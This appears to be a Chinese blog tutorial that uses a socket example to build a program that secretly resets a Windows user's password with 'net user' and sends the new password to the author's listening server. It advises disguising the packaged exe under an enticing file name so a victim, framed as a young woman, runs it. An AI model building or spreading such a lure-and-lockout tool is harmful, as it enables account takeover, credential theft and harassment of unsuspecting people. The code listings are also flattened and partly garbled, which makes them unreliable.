当前位置: 首页 > Linux

用Python修改小姐姐的Windows密码?

时间:2023-04-07 00:05:46 Linux

对于学习Python,很多人认为它很容易,那是因为你没有深入。Python只是入门简单,语法简单易懂,里面的实现原理也是一门艺术。今天跟大家聊聊socket,但是我知道你们肯定不会喜欢看语法,还嫌弃这个嫌弃那个。那么今天我就通过一个例子来给大家讲讲socket的实际使用方法。你的心是不是漏了一拍,不就是一个聊天窗口吗……对不起,你不爱我了。下面我们用socket实现一个修改Windows开机密码的小程序。1.客户端客户端需要由用户来执行,所以当我们写完客户端后,需要对其进行打包。我们应该用什么来包装它?全网Python打包工具Pyinstaller首发实用指南,丝般顺滑。了解它。亲测,有些人的电脑不是Administrator用户,所以需要用administrator权限才能执行。因为客户端会调用dos命令。客户端逻辑并不复杂,核心代码只有一句话,subprocess.Popen模块调用windows的doscmd修改密码。#控制windowscmd,并修改密码subprocess.Popen(['net','User',user,pwd])那么user就是你要修改的用户名,一般有两种操作,一种是直接修改他的管理员,一个是修改他现有的windows用户。#获取电脑用户名user=getpass.getuser()密码,我们可以自己随机生成一个8位的a-zA-Z0-9字符串。#为a-zA-Z0-9字母生成随机密码=string.ascii_letters+string.digitspwd=''.join([random.choice(letters)for_inrange(8)])最后,客户端需要发送密码给服务器,在服务器上记下来,就大功告成了。2、服务器端对于服务器端,我们需要做的就是通过创建一个socket实例来接受客户端发送过来的密码。那么需要做的就是死循环了。毕竟,一旦你打开它,你就关闭了它。如果需要,您可以重复打开服务器。把服务端的代码贴在这里importsocket#服务端也需要创建一个socket来监听客户端的请求代表服务端自己的ipportserver.bind(('192.168.31.246',8080))#这里的参数5代表如何许多客户端同时受到监控。如果超过5个,第6个client会响应并等待,卡在那里server.listen(5)print('starting....')#创建socket连接后,返回连接实例和地址conn,addr=server.accept()print(conn)print('clientaddr',addr)print('readytorecvthepasswd...')whileTrue:#等待接收来自客户端的消息client_msg=conn.recv(1024)print('clientpasswdchanged:%s'%client_msg.decode())3.在Windows中打开clientserver接受4.后面可以打包成exe,然后取个好听的名字,如:2018年十大车牌。等待用户双击。还是女孩子好,聊聊好吗?~关注公众号,后台回复:“更改winpwd”获取所有代码